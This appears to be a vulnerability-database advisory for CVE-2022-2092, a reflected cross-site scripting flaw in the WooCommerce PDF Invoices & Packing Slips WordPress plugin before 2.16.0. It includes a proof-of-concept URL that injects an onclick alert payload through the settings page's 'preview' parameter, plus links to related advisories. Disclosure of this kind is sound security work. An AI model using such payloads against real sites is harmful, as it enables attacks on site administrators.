Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpexploitZhongFu Su(JrXnm) of WuHan UniversityWPEX-ID:87546554-276A-45FE-B2AA-B18BFC55DB2D
HistoryJun 20, 2022 - 12:00 a.m.

WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting

2022-06-2000:00:00
ZhongFu Su(JrXnm) of WuHan University
99

0.001 Low

EPSS

Percentile

40.3%

JSON

The plugin doesn’t escape a parameter on its setting page, making it possible for attackers to conduct reflected cross-site scripting attacks.

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&preview=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22

Related

patchstack 1
prion 1
wpvulndb 1
cve 1
cnvd 1
cvelist 1
openvas 1
nvd 1
patchstack
patchstack
WordPress WooCommerce PDF Invoices & Packing Slips plugin <= 2.15.0 - Reflected Cross-Site Scripting (XSS) vulnerability
2022-06-20 00:00:00
prion
prion
Cross site scripting
2022-07-11 13:15:00
wpvulndb
wpvulndb
WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting
2022-06-20 00:00:00
cve
cve
CVE-2022-2092
2022-07-11 13:15:09
cnvd
cnvd
WordPress WooCommerce PDF Invoices
2022-07-13 00:00:00
cvelist
cvelist
CVE-2022-2092 WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site Scripting
2022-07-11 12:57:25
openvas
openvas
WordPress WooCommerce PDF Invoices & Packing Slips Plugin < 2.16.0 XSS Vulnerability
2022-10-05 00:00:00
nvd
nvd
CVE-2022-2092
2022-07-11 13:15:09

0.001 Low

EPSS

Percentile

40.3%

JSON
Related for WPEX-ID:87546554-276A-45FE-B2AA-B18BFC55DB2D
patchstack1prion1wpvulndb1cve1cnvd1cvelist1openvas1nvd1